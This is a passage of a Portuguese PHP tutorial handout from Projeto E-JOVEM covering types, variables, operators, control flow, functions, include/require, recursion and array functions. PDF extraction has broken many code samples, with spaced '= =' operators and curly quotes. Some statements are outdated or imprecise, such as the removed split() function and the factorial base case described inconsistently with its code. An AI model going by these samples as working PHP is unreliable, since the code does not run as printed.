7.3. Tipo de Dado NULL NULL indica que uma variável não tem qualquer valor. A variável é considerada como NULL caso tenha sido atribuído o valor especial NULL, ou se ele ainda não tenha sido atribuído um valor, neste último caso, PHP poderá dar um alerta de saída se você tentar usar a variável em uma expressão. 7.4. Conversão entre Tipos

PHP toma cuidado de converter tipos de dados de forma transparente quando uma referência é usada em uma expressão. Entretanto, é possível forçar a conversão de um valor a um tipo específico usando os tipos operadores da conversão. Estes são simplesmente os nomes dos tipos de dados que pretende converter que será colocada entre colchetes antes de uma expressão. Por exemplo:

<?php

$x = 10.88;

echo $x;

echo “ = ”;

echo (int) $x;

?> 8. Variáveis Variáveis são recipientes de armazenamentos de dados temporários. Em php, uma variável pode conter qualquer tipo de dados, tais como:

• Strings • Inteiros • Números de ponto flutuante • Objetos • Arrays.

Php não é fortemente tipado, o que significa que ele irá implicitamente alterar o tipo de uma variável conforme necessário, dependendo da operação a ser realizada em seu valor.

Page 24: 58777500 Apostila PHP

Projeto E-JOVEM

25

As variáveis são representadas por um cifrão ($) mais o nome da variável. As variáveis devem ter seu identificador usando apenas letras (az, AZ), números ou o caractere sublinhado. PHP é case-sensitive, ou seja, irá diferenciar letras maiúsculas e minúsculas, considerando por exemplo: que $a é diferente $A. É aconselhável utilizar os nomes das variáveis com letras minúsculas, por causa das variáveis pré-definidas da linguagem, que são declaradas com maiúsculas;

<?php $nome = ’valido’; // Variável valida $_nome = ’valido’; // Variável valida $1nome = ’invalido’; // Variável invalida, iniciada com um número. $Nome = “valido 2”; echo $nome; echo “ = ”; echo $Nome;

?> 8.1. Verificando de se uma variável existe

Um dos pontos negativos de como php lida com variáveis é que não há nenhuma maneira de garantir que qualquer uma delas irá existir em qualquer ponto na execução de um script. Isso pode introduzir no seu sistema uma serie de problemas. Para minimizar o problema você pode utilizar o construtor especial isset() Uma chamada para o isset() irá retornar true se uma variável existe e tiver o valor diferente de NULL. Exemplo:

<?php $x = 10;

echo isset ($x); ?> 9. Constantes Constantes são identificadores para valores simples. O seu conteúdo não muda durante a execução do código. Elas são criadas com a função define e, por convenção, são escritas com letras maiúsculas e não usam o cifrão no início. Constantes podem ser acessados de qualquer parte dentro do script PHP, contudo, só podem receber valores escalares. Assim como variáveis, constantes são case-sensitive ( diferencia maiúsculas de minúsculas).

<?php

define(’EMAIL’, ’[email protected]’); // Nome valido echo EMAIL; // exibe ’[email protected]

define(’USE_XML’, true);

Page 25: 58777500 Apostila PHP

Projeto E-JOVEM

26

print “<br>”;

print USE_XML

define(’1CONSTANTE’, ’algum valor’); // nome invalido

print 1CONSTANTE;

?>

OBS: como você pôde observar, podemos definir uma constante de forma errada, mas nunca iremos poder utilizá-la.

10. Operadores São usados para efetuarem operações sobre as variáveis e constantes.

10.1. Operadores de Comparação

São operadores que estabelecem uma relação de equivalência entre dois valores. Eles tanto podem determinar se dois valores são iguais (ou não iguais) entre si, ou se um é maior (ou menor) do que o outro. O resultado de uma operação comparação é sempre um valor Booleano. Existem quatro operadores de equivalência:

= = Equivalentes. Verifica se os dois operandos são equivalentes, o que significa que

eles podem ser convertidos para o tipo de dados comum que eles têm o mesmo valor, mais não necessariamente do mesmo tipo.

= = = Identidade. Verifica se os operandos possuem o mesmo Tipo e têm o mesmo valor.

!= Não Equivalentes. Verifica se os dois operandos são não equivalentes, sem verificar o seu tipo.

!= = Operador não-idênticos. Verifica se os dois operandos não possuem o mesmo tipo de dados ou não têm o mesmo valor.

Observação: É muito fácil confundir o operador de atribuição (=) pelo operador de comparação (= =) e este é, na verdade, um dos erros mais comuns na programação. Uma solução parcial para este problema é utilizar um padrão de projetos em que o programador inverte a ordem de seus operandos quando se compara uma variável com valor.

Page 26: 58777500 Apostila PHP

Projeto E-JOVEM

27

Exemplo:

echo $a = = 10;

Você poderia escrever:

echo 10 = = $a;

Estas duas operações são totalmente idênticas, mas, devido à esquerda do operador ser um valor, se tivesse esquecido um dos sinais iguais, o parser teria jogado um erro, assim, alertando-o. Veja abaixo o exemplo:

<?php $variavel1 = 100; // acrescenta 100 a variável $variavel1 $variavel2 = 50; // acrescenta 50 a variável $variavel2 /* a comparação abaixo. Retornará 1 porque o resultado foi true, mesmo a variável sendo um número inteiro e a comparação está sendo feita com uma string*/ echo ($variavel1 = = “100”);

echo “<br>”; /* a comparação abaixo. Retornará um valor em branco porque o resultado foi false, pois as variáveis possuem valores diferentes*/ echo ($variavel1 = = $variavel2);

echo “<br>”;

/* a comparação abaixo. Retornará um valor em branco porque o resultado foi false, isso porque a variável é um número inteiro e a comparação está sendo feita com uma string*/ echo ($variavel1 = = = “100”);

echo “<br>”; /* a comparação abaixo. Retornará 1 porque o resultado foi true, isso porque a variável é um número inteiro e a comparação está sendo feita com outro número inteiro*/ echo ($variavel1 = = = 100);

echo “<br>”; ?>

10.2. Outros Operadores de Comparação

Outros conjuntos de diferentes operadores estabelecem uma relação de desigualdade entre os dois operandos, ou seja, se um dos dois é maior do que o outro:

< Retorna true se o operando da esquerda for menor que o da direita.

<= Retorna true se o operando da esquerda for menos ou igual ao da

Page 27: 58777500 Apostila PHP

Projeto E-JOVEM

28

direita.

> Retorna true se o operando da esquerda for maior que o da direita.

>= Retorna true se o operando da esquerda for maior ou igual ao da direita.

Observações Sobre Operadores de Comparação

Embora o processo seja claro para os números, as coisas mudar um pouco para outros tipos de dados, por exemplo, strings são comparadas através da análise do valor binário de cada byte na seqüência, até dois valores diferentes são encontrados, o resultado é então determinado pelo valor numérico desses dois bytes. Por exemplo:

<?php

$esquerda = “ABC”; $direita = “ABD”; echo (int) ($esquerda > $direita);

?>

O código acima imprime um valor em branco (ou seja, falso), porque a letra D é mais elevado na variável da direita, do que na letra C da variável da esquerda. Enquanto você poderia pensar que esta comparação ocorre por causa da ordem alfabética. Considere os seguintes exemplos:

<?php

$esquerda = ’arvore’; $direita = ’Arvore’; echo (int) $esquerda > $direita;

?>

Neste exemplo será impresso 1 (verdadeiro), pois o valor ASCII do caractere “a” é 97 que por sua ver é mais elevado que o caractere “A” que é 65.

OBS: A utilização de operadores comparação com arrays também introduz um conjunto de regras diferentes.

Page 28: 58777500 Apostila PHP

Projeto E-JOVEM

29

10.3. Operadores Lógicos

Operadores lógicos são usados para ligar valores booleanos em conjunto e obter um terceiro valor booleano em função das duas primeiras. Existem quatro operadores lógicos em PHP das quais três são binárias. O único operador unário é o NÃO Lógico, identificado por uma exclamação antes do operando. É importante compreender que todos os operadores lógicos trabalham apenas com valores booleanos. Por isso, o PHP irá converter primeiro para valor Booleano e, em seguida, executar a operação. Os três operadores binários são:

&& / AND

Retornará true caso os operandos da direita E esquerta do operador retornem true.

|| / OR Retornará true caso um dos operandos o da direita OU o da esquerda retornar true. Podendo ser ambos.

XOR O ou exclusivo retornará true se o um dos operandos o da direita OU o da esquerda retornar true, mais não ambos.

! Operador lógico “não”, invertendo o resultado de um teste.

Observação Sobre Operadores Lógicos

É importante saber que o PHP tem uma simples estratégia para avaliar os resultados. Por exemplo, se a esquerda do operando && (AND) a operação for avaliada como false. Automaticamente será retornado false, já que qualquer outro resultado não mudará essa condição.

<?php $variavel1 = 100; // acrescenta 100 a variável $variavel1 $variavel2 = 50; // acrescenta 50 a variável $variavel2 /* a comparação abaixo. Retornará um 1porque o resultado foi true, na verdade será feita a comparação da $variavel1 = = 100 retornando true e $variavel2 = = 50 retornando true. Como as duas comparações retornaram true, o resultado final será true*/ echo ($variavel1 = = 100 && $variavel2 = = 50);

echo “<br>”; /* a comparação abaixo. Retornará um valor em branco porque o resultado foi false, na verdade será feita a comparação da $variavel1 != 100 retornando false e $variavel2 = = 50 retornando true. Como uma das comparações retornou false, o resultado final será false*/ echo ($variavel1 != 100 && $variavel2 = = 50);

echo “<br>”; ?>

Page 29: 58777500 Apostila PHP

Projeto E-JOVEM

30

10.4. Operadores Matemáticos

Operadores matemáticos são os responsáveis pelas operações matemáticas básicas.

Adição $a = 1 + 3.5;

Subtração $a = 4 - 2;

Multiplicação $a = 8 * 3;

Divisão $a = 15 / 5;

Modulo $a = 23 % 7; OBS: Lembre-se que alguns operadores matemáticos (por exemplo, o operador de adição) assumem um significado diferente quando aplicados a arrays.

10.4.1. Cálculos complexos Em cálculos complexos, procure sempre utilizar parênteses, sempre observando as prioridades aritméticas. Por exemplo: <?php

$variavel1 = 100; $variavel2 = 50; echo $variavel1 + 5 * 2 +10 * $variavel2; // será impresso o valor 610 echo "<br>"; echo ( $variavel1 + 5 ) * 2 + (10 * $variavel2); // será impresso o valor 710

?> 10.4.2. Conversão entre tipos em operações

O PHP realiza automaticamente a conversão de tipos em operações <?php

$variavel1 = “100”; // String com o valor 100 echo $variavel1 + 20; // será impresso o valor 120

?>

10.5. Operadores de incrementação e decrementação Formam uma categoria especial de operadores, com eles é possível incrementar e decrementar valores inteiros. Eles são operadores unários, porque eles só aceitam um operando (ou seja, a variável que necessita ser incrementado ou decrementado), e podem mudar de comportamento, dependendo se forem usadas antes ou depois da variável.

Page 30: 58777500 Apostila PHP

Projeto E-JOVEM

31

10.5.1. Posição do operador de incrementação e decrementação

A posição do operador determina se o ajuste será realizado antes, ou depois da devolução do valor:

• Se o operador estiver depois do operando, o interpretador irá primeiro retornar o valor atual da variável e depois incrementar ou decrementar o valor.

• Se o operador estiver antes do operando, o interpretador irá primeiro incrementar ou decrementar o valor, e depois retornar o valor.

<?php

$a = 1; // Atribuindo o valor inteiro 1 para a variavel $a

echo $a++; // Imprimindo 1, $a agora é igual a 2

echo ++$a; // Imprimindo 3, $a agora é igual a 3

echo --$a; // Imprimindo 2, $a agora é igual a 2

echo $a--; // Imprimindo 2, $a agora é igual a 1

?>

Uso em excesso desse operador pode tornar seu código de compreensão difícil, até os melhores programadores algumas vezes são surpreendidos pelo uso desse operador. Por isso use-o com cautela. Vale a pena ressaltar também que esse operador deve ser utilizado para valores numéricos. 10.6. Referenciando variáveis

Por padrão, os operadores trabalham pela atribuição de valor, ou seja, eles copiam o valor de uma expressão para outra. Se do lado direito do operando for uma variável, somente seu valor será copiado, de modo que qualquer alteração subseqüente ao da esquerda do operador não será refletindo no operador da direita. Por exemplo:

<?php

$a = 10; $b = $a;

Page 31: 58777500 Apostila PHP

Projeto E-JOVEM

32

$b = 20; echo $a; // será impresso 10

?>

Normalmente, você espera que esse seja o resultado obtido, mais a casos em que você queira uma tarefa que o resultado seja obtido por referência, de modo que a expressão da esquerda do operando torna-se “ligado” com a expressão da direita. Por exemplo:

<?php

$a = 10; $b = &$a; // por referência $b = 20; echo $a; // será impresso 20

?>

Observações sobre referência de variáveis

O operador trabalha pela atribuição de valor para todos os tipos de dados, exceto objetos, os quais sempre são passados por referência, independentemente do operador “&” ser usado ou não.

A utilização de variáveis por referência usada algumas vezes pode ser até útil, mas sempre será uma técnica PHP bastante arriscada, porque variáveis PHP tendem a permanecer ativas por um longo período de tempo, até mesmo dentro de uma função.

Além disso, contrariamente ao que acontece em muitas outras línguas, essa técnica muitas vezes é mais lenta do que a atribuição de valor, porque o PHP usa uma inteligente “deferred-copy” mecanismo que otimiza a realidade de valor atribuições.

11. Estruturas de Controle No PHP, as estruturas de controle são formadas por declarações condicionais e de looping:

11.1. Estruturas condicionais

Estrutura condicional é usada para alterar o fluxo de uma execução baseado em uma ou mais condições. A maior parte destas estruturas básicas é o se-então-senão (if-else-elseif) que executa uma das duas declarações (ou conjuntos de declarações fechados em um bloco de código), dependendo se uma condição é verdadeira ou falsa.

Page 32: 58777500 Apostila PHP

Projeto E-JOVEM

33

• IF: Executa uma ação se uma condição for atendida. O bloco de comandos a ser executado deve ser escrito entre chaves;

<?php

$x = 20; if ($x > 10) { echo("O valor da variável é maior que 10."); } 19

?>

• ELSE: Ele é utilizado para indicar um novo bloco de comando caso a condição do IF não seja satisfeita.

<?php

$x = 5; if ($x > 10) { echo("O valor da variável é maior que 10."); } else { echo("O valor da variável é menor que 10."); }

?>

• ELSE IF: Podemos analisar diversas condições possíveis:

<?php $cor = "branco"; if ($cor == "vermelho") { echo("A variável contém o valor 'vermelho'."); } else if ($cor == "azul") { echo("A variável contém o valor 'azul'."); } else if ($cor == "amarelo") { echo("A variável contém o valor 'amarelo'."); } else { echo("O valor da variável não foi identificado.");

Page 33: 58777500 Apostila PHP

Projeto E-JOVEM

34

} ?>

OBS: O ELSE IF pode ser usado tanto separado(ELSE IF) como junto(ELSEIF), não fará diferença para o PHP. • IF sem operadores

Quando não se coloca o operador lógico em testes condicionais com o IF, o PHP por padrão irá retornar TRUE sempre que a variável tiver um conteúdo válido. Por exemplo: <?php $a = ”testando if”; if($a){ echo ‘a variável $a tem conteúdo’; } if($b){ echo ‘a variável $b tem conteúdo’; } ?>

• Encadeamento de IF

Para realizar testes condicionais de forma encadeada, basta colocar um bloco IF dentro de outro, ou, usar o operador AND. Exemplo: <?php $valor = 80; if($valor > 50){ if($valor < 100){ echo 'O valor é maior que 50 e menor que 100'; }else{ echo 'O valor é maior que 50 e maior ou igual a 100'; } } ?>

• Forma contraída

Um operador ternário e especial permite embutir uma estrutura se-então-senão (if-then-else)dentro de uma expressão de declaração:

echo 10 = = $x ? ’sim’ : ’não’;

Page 34: 58777500 Apostila PHP

Projeto E-JOVEM

35

O código acima seria equivalente ao seguinte:

if (10 = = $x) { echo ’sim’; } else { echo ’não’; }

Como você pode ver, a primeira expressão é muito menor, mais deve se alertar sobre o seu uso. Se usada em excesso, pode tornar seu código de difícil compreensão e comprometer sua funcionalidade, principalmente se você começar a aninhar varias dessas operações entre si.

• SWITCH

O problema com os se-então-senão (if-then-else) é que eles tendem a ser bastante complicado quando você precisa verificar uma expressão simples com vários resultados possíveis.

Para diminuir este problema, em PHP você pode construir um interruptor switch / case Onde se apresenta uma forma de testar uma dentre várias possibilidades. A declaração default executa caso nenhuma das opções for verdadeira. A declaração break faz com que o restante do código não seja executado caso o teste seja verdadeiro. Veja o exemplo:

<?php

$d = getdate(); switch ($d['wday']) { case 5: echo("Finalmente Sexta"); break; case 6: echo("Super Sábado"); break; case 0: echo("Domingo Sonolento"); break; default: echo("Estou esperando pelo fim da semana"); }

?>

Page 35: 58777500 Apostila PHP

Projeto E-JOVEM

36

11.2. Estrutura de looping ou Comandos de Repetição

Com o controlador iterativo pode-se executar o mesmo trecho de código múltiplas vezes. PHP tem quatro destes, apesar de apenas dois deles são necessários para o funcionamento de uma língua.

• while: Estrutura de looping que não necessita de um número determinado de iterações.

Ele é executado enquanto uma condição for verdadeira.

<?php $i = 0; while ($i < 10) { echo $i; echo “, ”; $i++; }

?>

• do-while: outra forma de looping que executa um bloco de código, testa uma condição e repete novamente o bloco de código (ou não). no do … while, o controle é realizado no final de cada iteração significado que, mesmo que a condição de nunca for verdadeira (true), o conteúdo do loop será executado pelo menos uma vez.

<?php

$i = 0; do { echo $i; echo “, ”; $i++; } while ($i < 10);

?>

• For: Estrutura de looping que executa um bloco de código quantas vezes for indicado em uma variável. Deve-se definir a variável que será testada no looping, uma condição de teste e o incremento (ou decremento) da variável de controle.

A declaração for contém três partes, separadas por ponto e vírgula (;). <?php

for ($i = 0; $i < 10;$i++) { echo $i; echo “, ”; }

?>

Page 36: 58777500 Apostila PHP

Projeto E-JOVEM

37

• Loop infinito: Ao realizar um comando de repetição, tenha sempre o máximo de

cuidado possível, pois, podemos entrar num looping infinito. Um looping infinito nada mais é do que entrar num comando de repetição que não tenha fim, então ele ficará processando aquele trecho de código sem fim.

<?php for($i=0; $i<10; $i++){ for($i=0; $i<5; $i++){ }

} ?>

Veja que no exemplo acima os dois FOR estão usando a mesma variável $i. Isso faz que a variável $i sempre saia do segundo for com o valor de 5, assim nunca chegará a ser >= a 10.

11.3. Fluxo de Execução break e continue

• Break: O comando break aborta a execução em um bloco de comandos como IF, FOR, WHILE. Ignorando as instruções restantes até o fechamento em “}”. Dessa forma, o programa segue para a próxima verificação da condição de entrada do laço de repetição.

Observação: Lembre-se sempre de encerrar uma declaração break usando ponto e vírgula (;) mesmo se não tiver nenhum parâmetro. Se você não fizer e por acaso ele for seguido de uma expressão que retorna um valor inteiro, você pode acabar causando uma saída aleatória do loop, causando todo o tipo de situações difíceis de solucionar.

• Continue: Há casos em que, em ver de encerrar um ciclo, você quer simplesmente que ignore o restante de uma iteração e pule imediatamente para a próxima. Isto é feito com a palavra-chave continue.

for ($i = 0; $i < 10; $i++) { if ($i > 3 && $i < 6) { continue; } echo “$i, ”; }

12. Funções: definição, criação, return, parâmetros.

• Definição: Função é um bloco de código com um objetivo específico, que pode ou não receber uma serie de parâmetros e retornarem dados. Uma função é declarada

Page 37: 58777500 Apostila PHP

Projeto E-JOVEM

38

apenas uma vez, mas pode ser utilizada diversas vezes. É uma das formas mais simples de prover reusabilidade.

• Criação: Para declararmos uma função no PHP será necessário usarmos o operador

function seguido do nome da função, não podendo haver espaços em branco e sendo iniciada obrigatoriamente por uma letra. Veja como é sua sintaxe:

function minhaFuncao(){ // o código ficara aqui }

Exemplo: <?php function imprimirValor(){ print "5"; }

imprimirValor();

?>

• Return: A declaração return retorna um valor quando a função é chamada. Esta declaração não é necessária se a função não retorna nenhum valor. Também podemos guardar esse valor de retorno numa variável para isso o código ficaria assim: <?php function imprimirValor(){ return "5"; } $valor = imprimirValor(); print $valor; ?> Para passarmos parâmetros, ao definirmos uma função, colocaremos entre os parênteses quantos argumentos (parâmetros) forem necessários para a função. Veja o exemplo abaixo:

<?php function obesidade($peso, $altura){ $calculo = $peso / ($altura * $altura);

Page 38: 58777500 Apostila PHP

Projeto E-JOVEM

39

return $calculo; } $valor = obesidade(85, 1.83); print $valor; ?>

• Passagem de parâmetros por referência: Para passarmos uma variável por referencia, colocaremos o operador “&” na frente do parâmetro, fazendo com que todas as modificações da variável dentro da função sejam validas na variável externa à função. Veja o exemplo: <?php function somar(&$valor, $valor2){ $valor += $valor2; } $valor = 100; somar($valor, 500); print $valor; ?>

• Variáveis globais: As variáveis quando são declaradas dentro do escopo da variável são variáveis locais, isso quer dizer que, a variável só poderá ser usada dentro da função. Se quisermos usar uma variável sem passá-la como parâmetro será necessário declará-la como global. Uma variável quando declarada como global poderá ser acessada de qualquer ponto de uma aplicação.

• Variáveis estáticas: Dentro do escopo de uma função também podemos definir uma

variável como estática. Dessa forma será mantido o ultimo valor da variável. Exemplo:

static $total;

• Definindo valores detault: PHP permite definir valores default, valores default serão usados caso nenhum valor for passado para aquele parâmetro. Veja o exemplo abaixo:

<?php function somar(&$valor, $valor2 = 250){ $valor += $valor2; } $valor = 100; somar($valor); print $valor; ?>

Page 39: 58777500 Apostila PHP

Projeto E-JOVEM

40

13. Reutilização de Código Include e require

13.1. Reutilização de Código

Reutilização de Código é muito útil para que possamos requisitar funções de outros arquivos PHP, incluírem determinada área de código tornando assim o código fácil de ser mantido. Vamos supor que você possua um portal de notícias com mais de 100 páginas na internet e que cada página possui o mesmo topo e o mesmo rodapé. Agora imagine que precisamos trocar a logomarca do portal no topo e o nome do portal no rodapé. Teríamos que entrar página por página em todas as 100 e trocar de cada uma. Com a reutilização de código nós só precisaríamos trocar apenas uma vez e todas as páginas estariam trocadas. Vamos supor agora que nesse mesmo portal que você possui, cada página tem uma função de imprimir os assuntos. E você descobriu que sua função de imprimir as notícias está errada. Teríamos novamente que trocar função por função em cada página. O que não seria necessário com a reutilização de código. 13.2. Include

A instrução include() inclui e faz uma avaliação do arquivo informado. Todos os códigos ficam disponíveis no escopo do programa a partir da linha na qual foi inserido. Caso o arquivo não exista será produzida uma mensagem de warning (advertência). Exemplo: Crie um arquivo PHP chamado variáveis.php e insira o código abaixo: <? $nome = "Filippe"; $aula = "PHP"; ?> Crie agora outro arquivo na mesma pasta com o nome exemplo.php e insira o código abaixo: <?php print "O aluno $nome está estudando $aula <br>"; include "variaveis.php"; print "O aluno $nome está estudando $aula <br>"; ?> Analise o resultado.

Page 40: 58777500 Apostila PHP

Projeto E-JOVEM

41

13.3. Require

Idêntico ao include. Diferente apenas na sua manipulação de erros. Enquanto o include produz um warning, o require produzirá um fatal error (Erro fatal) caso o arquivo não exista. 13.4. Include_once

Seu funcionamento é idêntico ao include, a não ser que o arquivo informado já tenha sido incluído. Essa instrução só permite que o arquivo seja incluído apenas uma vez. Muito importante para evitar redeclarações ou sobreposições de informações caso o programa necessite passar pela mesma instrução mais de uma vez. 13.5. Require_once

Seu funcionamento é idêntico ao require, a não ser que o arquivo informado já tenha sido incluído. Essa instrução só permite que o arquivo seja incluído apenas uma vez. Muito importante para evitar redeclarações ou sobreposições de informações caso o programa necessite passar pela mesma instrução mais de uma vez.

14. Função Recursiva

Uma função recursiva é uma função que se refere a si própria. A idéia consiste em utilizar a própria função que estamos a definir na sua definição.

Em todas as funções recursivas existe:

• Um passo básico (ou mais) cujo resultado é imediatamente conhecido. • Um passo recursivo em que se tenta resolver um subproblema do problema inicial.

14.1. Como começar uma função recursiva

Geralmente, uma função recursiva só funciona se tiver uma expressão condicional, mas não é obrigatório que assim seja. A execução de uma função recursiva consiste em ir resolvendo subproblemas sucessivamente mais simples até se atingir o caso mais simples de todos, cujo resultado é imediato. Desta forma, o padrão mais comum para escrever uma função recursiva é:

• Começar por testar os casos mais simples. • Fazer chamadas recursivas com subproblemas cada vez mais próximos dos casos mais

simples.

Page 41: 58777500 Apostila PHP

Projeto E-JOVEM

42

14.2. Erro em funções recursivas

Dado este padrão, os erros mais comuns associados às funções recursivas são, naturalmente:

• Não detectar os casos simples • A recursão não diminuir a complexidade do problema.

No caso de erro em função recursiva, o mais usual é a recursão nunca parar. O número de chamadas recursivas cresce indefinidamente até esgotar a memória (stack), e o programa gera um erro. A recursão infinita é o equivalente das funções recursivas aos ciclos infinitos dos métodos iterativos do tipo while-do e repeat-until.

Observação importante – Analise o seguinte exemplo:

<?php function fatorial($valor){ if($valor == 1){ return $valor; }else{ return $valor * fatorial($valor - 1); } } print fatorial(7)."<br>"; ?> Se analisarmos a função fatorial, o caso básico é o teste de igualdade a zero, o resultado imediato é 1, e o passo recursivo é (valor * n (fatorial ( n - 1))).

Repare que uma função recursiva que funciona perfeitamente em alguns casos, pode simplesmente não estar completamente certa para outros casos. A função fatorial é um exemplo. Quando o argumento é negativo, o problema torna-se cada vez mais complexo, cada vez mais longe do caso simples. (fatorial -1) => (fatorial -2) => (fatorial -3) =>

14.3. Recursão versus Iteração

No exemplo do fatorial, a implementação iterativa tende a ser ligeiramente mais rápida na prática do que a implementação recursiva, uma vez que uma implementação recursiva precisa registrar o estado atual do processamento de maneira que ela possa continuar de onde parou após a conclusão de cada nova execução subordinada do procedimento recursivo. Esta ação consome tempo e memória.

Page 42: 58777500 Apostila PHP

Projeto E-JOVEM

43

15. Trabalhando com Array

Arrays em PHP podem ser observados como mapeamentos ou como vetores indexados. Mais precisamente, um valor do tipo array é um dicionário onde os índices são as chaves de acesso. Vale ressaltar que os índices podem ser valores de qualquer tipo e não somente inteiros. Inclusive, se os índices forem todos inteiros, estes não precisam formar um intervalo contínuo.

Como a checagem de tipos em PHP é dinâmica, valores de tipos diferentes podem ser usados como índices de array, assim como os valores mapeados também podem ser de diversos tipos.

15.1. Sintaxe array array ( [...])

Retorna um array a partir dos valores fornecidos. Lembre-se que os índices podem ser atribuídos aos valores através do operador =>.

Observação: array() é uma estrutura utilizada para representar literais de arrays, e não uma função.

<?php

$frutas = array ("a"=>"laranja", "b"=>"banana", "c"=>"melancia");

print_r($frutas);

?>

A sintaxe "index => values", separados por vírgulas, definem índice e valores respectivamente. O índice pode ser do tipo string ou numérico. Quando o índice é omitido, um índice numérico inteiro é automaticamente gerado, começando do 0. Se o índice é um inteiro, o próximo índice a ser gerado será igual ao maior índice inteiro + 1. Quando dois índices idênticos são definidos, o último sobrescreve o primeiro. 15.2. Array Multidimensional O array também pode ser criado com múltiplas dimensões (matrizes), é útil para a criação de tabelas ou planilhas dinâmicas. O exemplo a seguir além de criar um array com duas dimensões mostra como especificar chaves em arrays associativos e como definir índices numéricos em arrays normais.

Page 43: 58777500 Apostila PHP

Projeto E-JOVEM

44

Exemplo: <?php

$frutas = array ( "frutas" => array ("a"=>"laranja", "b"=>"banana", "c"=>"melancia"), "numeros" => array (1, 2, 3, 4, 5, 6), "buracos" => array ("primeiro", 5 => "segundo", "terceiro") ); print_r($frutas);

?> Veja abaixo um exemplo de indexação automática com array(): <?php

$array = array( 1, 1, 1, 1, 1, 8 => 1, 4 => 1, 19, 3 => 13); print_r($array);

?> A saída desse script será: Array ( [0] => 1 [1] => 1 [2] => 1 [3] => 13 [4] => 1 [8] => 1 [9] => 19 ) Explicação: -O índice 3 definido duas vezes, logo o valor que será guardado é o seu último. Valor igual a 13. -O índice 4 definido duas vezes, logo o valor que será guardado é o seu último. Neste caso foram valores iguais. -O índice 4 é definido depois do índice 8, e o índice gerado depois dele foi 9, uma vez que o maior índice era 8. 15.3. Foreach Foreach funciona somente com arrays e gera erro se utilizado com uma variável de outro tipo ou em variáveis não inicializada.

Page 44: 58777500 Apostila PHP

Projeto E-JOVEM

45

Há duas sintaxes:

1 - foreach (expressão_array as $valor) instruções 2 - foreach (expressão_array as $chave => $valor) instruções

A primeira forma varre uma dada matriz dada por expressao_array. Em cada 'loop', o valor do elemento corrente é atribuído a $valor e o ponteiro interno da matriz é avançado em uma posição (assim, na próxima iteração você estará olhando para o próximo elemento). A segunda é uma abreviatura, mas útil, da primeira. Faz à mesma coisa, exceto pelo fato de que à chave do elemento atual será atribuída à variável $chave em cada iteração. Observações: Quando o foreach inicia sua primeira execução, o ponteiro interno da matriz é zerado automaticamente para o primeiro elemento do array. Isto significa que você não precisa chamar reset() antes de um loop foreach. Note também que foreach opera sobre uma cópia do array especificado, não o próprio array e, portanto, o ponteiro do array original não é modificado como na instrução each(), que altera o elemento do array selecionado, mas isso não se reflete no array original. Entretanto, o ponteiro interno do array original é movimentado pelo processamento do array. Assumindo que o laço foreach rode até o fim, o ponteiro interno do array estará posicionado no fim do array. Foreach tem a habilidade de evitar mensagens de erro com '@'.

<?php

$array = array("Leão", "Macaco", "Vaca", "Cobra", "Elefante");

foreach( $array as $x){

print $x."<br>";

}

?>

Page 45: 58777500 Apostila PHP

Projeto E-JOVEM

46

15.4. Funções Implode e join Sintaxe:

• string implode(string separador, array partes); • string join(string separador, array partes);

As duas funções são idênticas. Retornam uma string contendo todos os elementos do array fornecido separados pela string também fornecida.

<?php $partes = array("a", "casa número", 13, "é azul"); $inteiro = join(" ",$partes);

echo "$inteiro"; ?>

Split Sintaxe:

• array split(string padrao, string str, int [limite]); Retorna um array contendo partes da string fornecida separadas pelo padrão fornecido, podendo limitar o número de elementos do array.

<?php $data = "11/14/1975"; $data_array = split("/",$data); print_r($data_array);

?> Explode Sintaxe:

• array explode(string padrao, string str); Funciona de maneira bastante semelhante à função split, com a diferença que não é possível estabelecer um limite para o número de elementos do array.

Page 46: 58777500 Apostila PHP

Projeto E-JOVEM

47

Range Sintaxe:

• array range(int mínimo, int maximo); A função range cria um array cujos elementos são os inteiros pertencentes ao intervalo fornecido, inclusive. Se o valor do primeiro parâmetro for maior do que o do segundo, a função retorna false (valor vazio). Shuffle Sintaxe:

• void shuffle(array $arr); Esta função “embaralha” o array, ou seja, troca as posições dos elementos aleatoriamente e não retorna valor algum.

Sizeof Sintaxe:

• int sizeof(array $arr); Retorna um valor inteiro contendo o número de elementos de um array. Se for utilizada com uma variável cujo valor não é do tipo array, retorna 1. Se a variável não estiver setada ou for um array vazio, retorna 0.

Sort Sintaxe:

• void sort(array $arr); A função mais simples de ordenação de arrays. Ordena os elementos de um array em ordem crescente, sem manter os relacionamentos com os índices.

Page 47: 58777500 Apostila PHP

Projeto E-JOVEM

48

Rsort Sintaxe:

• void rsort(array $arr); Funciona de maneira inversa à função sort. Ordena os elementos de um array em ordem decrescente, sem manter os relacionamentos com os índices.

Assort Sintaxe:

• void asort(array $arr); Tem o funcionamento bastante semelhante à função sort. Ordena os elementos de um array em ordem crescente, porém mantém os relacionamentos com os índices. Arsort Sintaxe:

• void arsort(array $arr); Funciona de maneira inversa à função asort. Ordena os elementos de um array em ordem decrescente e mantém os relacionamentos dos elementos com os índices. Ksort Sintaxe:

• void ksort(array $arr); Função de ordenação baseada nos índices. Ordena os elementos de um array de acordo com seus índices, em ordem crescente, mantendo os relacionamentos.

Toda variável do tipo array possui um ponteiro interno indicando o próximo elemento a ser acessado no caso de não ser especificado um índice. As funções seguintes servem para modificar esse ponteiro, permitindo assim percorrer um array para verificar seu conteúdo (chaves e elementos).

Page 48: 58777500 Apostila PHP

Projeto E-JOVEM

49

Reset Sintaxe:

• mixed reset(array $arr); Seta o ponteiro interno para o primeiro elemento do array, e retorna o conteúdo desse elemento. End Sintaxe:

• mixed end(array $arr); Seta o ponteiro interno para o último elemento do array, e retorna o conteúdo desse elemento. Next Sintaxe:

• mixed next(array $arr); Seta o ponteiro interno para o próximo elemento do array, e retorna o conteúdo desse elemento. Observação: esta não é uma boa função para determinar se um elemento é o último do array, pois pode retornar false tanto no final do array como no caso de haver um elemento vazio. Prev Sintaxe:

• mixed prev(array $arr); Seta o ponteiro interno para o elemento anterior do array, e retorna o conteúdo desse elemento. Funciona de maneira inversa a next. Pos Sintaxe:

• mixed pos(array $arr); Retorna o conteúdo do elemento atual do array, indicado pelo ponteiro interno.

Page 49: 58777500 Apostila PHP

Projeto E-JOVEM

50

Key Sintaxe:

• mixed key(array $arr); Funciona de maneira bastante semelhante à pos, mas ao invés de retornar o elemento atual indicado pelo ponteiro interno do array, retorna seu índice. 16. Trabalhando com String Strings podem ser atribuídas de duas maneiras:

• Aspas simples ( ' ). • Aspas duplas ( " ).

Aspas simples ( ' ): É maneira mais simples para especificar uma string. Desta maneira, o valor da variável será exatamente o texto contido entre as aspas (com exceção de \\ e \' – como mostra a tabela Seqüências de escape).

